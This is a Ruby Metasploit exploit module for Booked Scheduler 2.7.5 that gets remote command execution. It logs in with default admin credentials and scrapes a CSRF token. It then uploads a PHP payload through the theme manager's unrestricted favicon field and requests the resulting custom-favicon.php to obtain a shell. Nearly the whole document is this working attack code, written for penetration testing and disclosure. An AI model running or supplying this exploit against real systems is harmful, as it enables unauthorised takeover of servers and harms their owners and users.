Booked Scheduler 2.7.5 – Remote Command Execution (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize super( 'Name' => 'Booked Scheduler v2.7.5 - Remote Command Execution', 'Description' => %q{ This module exploits a file upload vulnerability Booked 2.7.5. In the "Look and Feel" section of the management panel, you can modify the Logo-Favico-CSS files. Upload sections has file extension control except favicon part. You can upload the file with the extension you want through the Favicon field. The file you upload is written to the main directory of the site under the name "custom-favicon". After upload the php payload to the main directory, Exploit executes payload and receives shell. }, 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, PoC & Msf Module ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://pentest.com.tr/exploits/Booked-2-7-5-Remote-Command-Execution-Metasploit.html'], ], 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ ['Booked Scheduler v2.7.5', {}] ], 'DisclosureDate' => '01 March 2019', 'Privileged' => false, 'DefaultTarget' => 0 ) register_options( [ OptBool.new('SSL', [true, 'Use SSL', false]), OptString.new('TARGETURI', [true, 'The base path to Booked', '/']), OptString.new('USER', [true, 'User to login with', 'admin']), OptString.new('PASS', [true, 'Password to login with', 'admin']), ], self.class) end ## # Check Exploit Vulnerable ## def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri, "/Web/index.php") }) if res and res.code == 200 and res.body =~ /v2.7.5/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end return res end ## # Exploit Portion ## def exploit res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri, "/Web/index.php"), 'vars_post' => { "email" => datastore['USER'], "password" => datastore['PASS'], "captcha" => "", "resume" => "", "language" => "en_us", "login" => "submit" } }) if res and res.code == 302 print_status("Successful redirection to admin dashboard.") else return res end get_cookie = res.get_cookies cookie = get_cookie ## # Login Access Control ## control = send_request_cgi({ 'method' => 'GET', 'cookie' => cookie, 'uri' => normalize_uri(target_uri, "/Web/dashboard.php") }) html = control.body if html =~ /Dashboard/ print_good("Login successfuly") else print_status("User information is incorrect. Login failed") exit 0 end ## # Reading CSRF Token ## csrf = send_request_cgi({ 'method' => 'GET', 'cookie' => cookie, 'uri' => normalize_uri(target_uri, "/Web/admin/manage_theme.php") }) html = control.body if html =~ /Look and Feel/ token = csrf.body.split('CSRF_TOKEN" value=')[1].split(";")[0].split('/')[0].split('"')[1] print_status("CSRF Token = #{token}") else print_status("User information is incorrect. Login failed") exit 0 end ## # Loading phase of the vulnerable file ## boundary = Rex::Text.rand_text_alphanumeric(29) data2 = "-----------------------------{boundary}" data2 << "\r\nContent-Disposition: form-data; name=\"LOGO_FILE\"\r\n\r\n\r\n" data2 << "-----------------------------{boundary}" data2 << "\r\nContent-Disposition: form-data; name=\"FAVICON_FILE\"; filename=\"akkus.php\"" data2 << "\r\nContent-Type: text/html\r\n\r\n" data2 << payload.encoded data2 << "\n\r\n-----------------------------{boundary}" data2 << "\r\nContent-Disposition: form-data; name=\"CSS_FILE\"\r\n\r\n\r\n" data2 << "-----------------------------{boundary}" data2 << "\r\nContent-Disposition: form-data; name=\"CSRF_TOKEN\"\r\n\r\n" data2 << "#{token}" data2 << "\r\n-----------------------------{boundary}--\r\n" res = send_request_raw( { 'method' => "POST", 'uri' => normalize_uri(target_uri, "/Web/admin/manage_theme.php?action=update"), 'data' => data2, 'headers' => { 'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}', }, 'cookie' => cookie }) if res and res.code == 200 print_good "Payload was successfully uploaded." else print_error "Upload failed." return end ## # Command execution and shell retrieval ## print_status("Attempting to execute the payload...") command = payload.encoded res = send_request_cgi( { 'uri' => normalize_uri(target_uri, "/Web/custom-favicon.php"), 'cookie' => cookie }, 25) if res and res.code == 200 print_good "Payload executed successfully" end end end ## # End ## |